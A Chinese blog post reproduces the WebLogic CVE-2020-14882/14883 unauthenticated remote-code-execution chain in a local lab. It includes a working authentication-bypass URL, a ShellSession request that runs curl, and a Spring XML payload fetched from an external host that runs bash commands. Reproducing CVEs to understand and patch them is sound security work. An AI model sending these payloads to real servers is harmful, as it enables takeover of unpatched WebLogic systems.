博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

weblogic 未授权命令执行漏洞(CVE-2020-14882,CVE-2020-14883)复现

漏洞描述

2020年10月29日,360CERT监测发现 Weblogic ConSole HTTP 协议代码执行漏洞,该漏洞编号为 CVE-2020-14882,CVE-2020-14883 ,漏洞等级:严重,漏洞评分:9.8。
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。

影响版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

环境搭建

这里我们测试WebLogic12.2.1.4,java环境是jdk1.8.0_221,自行下载

这里提供WebLogic12.2.1.4的安装教程

下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

下载正确的文件

 

 

解压

 

 

 

用管理员权限运行

java -jar fmw_12.2.1.4.0_wls_lite_generic.jar

 

 进入安装界面

 

 

下一步

 

 

 

 

 

 

 

下一步

完成

开始安装weblogic的web管理

设置口令,然后创建

 

启动域

 

会自动打开weblogic的启动界面

 

 

我们就进入了weblogic的登录界面(漏洞就是在这个界面触发的)

 

 

 

漏洞复现

Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console。
权限绕过漏洞(CVE-2020-14882),访问以下URL,未授权访问到管理后台页面(低权限的用户):

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal

 

发现我们现在是低权限的用户,无法安装应用,所以组合下面的CVE-2020-14883 可以继续利用

 

CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

方法一:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27curl%20pyxgs4.dnslog.cn%27);%22)

成功执行:

 

 

方法二:

一种更为通杀的方法,对于所有Weblogic版本均有效。

但是必须可以出网,要可以访问到恶意的xml

首先需要构造一个XML文件,并将其保存外网(漏洞机或者可访问的一台机子上)上,就是要有外网ip

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl 6zu4z2.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

 

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://64.254.68.38:8085/weblogic/evil.xml%22)

成功回显

 

参考文章:

https://blog.csdn.net/god_zzz/article/details/109445728

https://www.cnblogs.com/2rsh0u/p/13911794.html

 

posted @ 2020-11-14 16:15  My_Dreams  阅读(5185)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();